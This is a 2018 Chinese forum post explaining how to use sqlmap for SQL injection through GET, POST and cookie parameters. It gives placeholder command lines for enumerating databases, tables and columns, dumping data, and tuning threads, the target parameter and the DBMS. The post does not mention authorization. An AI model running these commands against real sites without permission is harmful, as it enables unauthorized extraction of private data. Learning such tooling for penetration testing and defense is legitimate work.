zhouu 发表于 2018-10-23 08:05:53

利用sqlmap实现基本的SQL注入

  注入基本上可分为以下三种:
  1.get类:sqlmap -u "http://xxx?x=xx"
  2.post类: sqlmap -r "xxx.txt"
  3.cookie类: sqlmap -u "http://xxx?x=xx" –cookie="x=xx&y=yy" --level=2
  一 get类
  1,枚举数据库:sqlmap -u "http://xxx?x=xx" --dbs
  2,获取当前数据库:sqlmap -u "http://xxx?x=xx" --current-db
  3,获取当前用户名:sqlmap -u "http://xxx?x=xx" --current-user
  4,枚举表: sqlmap -u "http://xxx?x=xx" -D "库名" --tables
  5,枚举字段:sqlmap -u "http://xxx?x=xx" -D "库名" -T "表名" --columns
  6,数据dump:sqlmap -u "http://xxx?x=xx" -D "库名" -T "表名" --dump
  或者dump指定列:sqlmap -u "http://xxx?x=xx" -D "库名" -T "表名" -C "xx,yy,zz" --dump
  二 post类
  一般来说,要进行post注入,首先要用burpsuite等工具将要注入的post表单提取出来保存在一个txt文档中,然后开始注入
  枚举数据库:sqlmap -r "xxx.txt" --dbs
  (PS:其他和get型一样)
  三 cookie类
  因为默认情况下sqlmap只支持get/post参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie时面的参数,当>=3的时候将检查User-agent和Referer,因此要进行cookie注入,直接在后面加上 --level 2 即可
  枚举数据库:sqlmap -u "http://xxx?x=xx" –cookie="x=xx&y=yy" --level=2 --dbs
  四 其他一些常用的参数
  --threads 多线程,可以让sqlmap跑得更快
  eg: sqlmap -u "http://xxx?x=xx" --threads 10 --dbs
  -p 手动指定注入参数
  eg: sqlmap -u "http://xxx?x=xx" -p "id" --threads 10 --dbs
  --dbms 指定注入的数据库管理系统,当已知目标的数据库管理系统时使用
  eg: sqlmap -u "http://xxx?x=xx" -p "id" --dbms "MYSQL" --threads 10 --dbs

页: [1]
查看完整版本: 利用sqlmap实现基本的SQL注入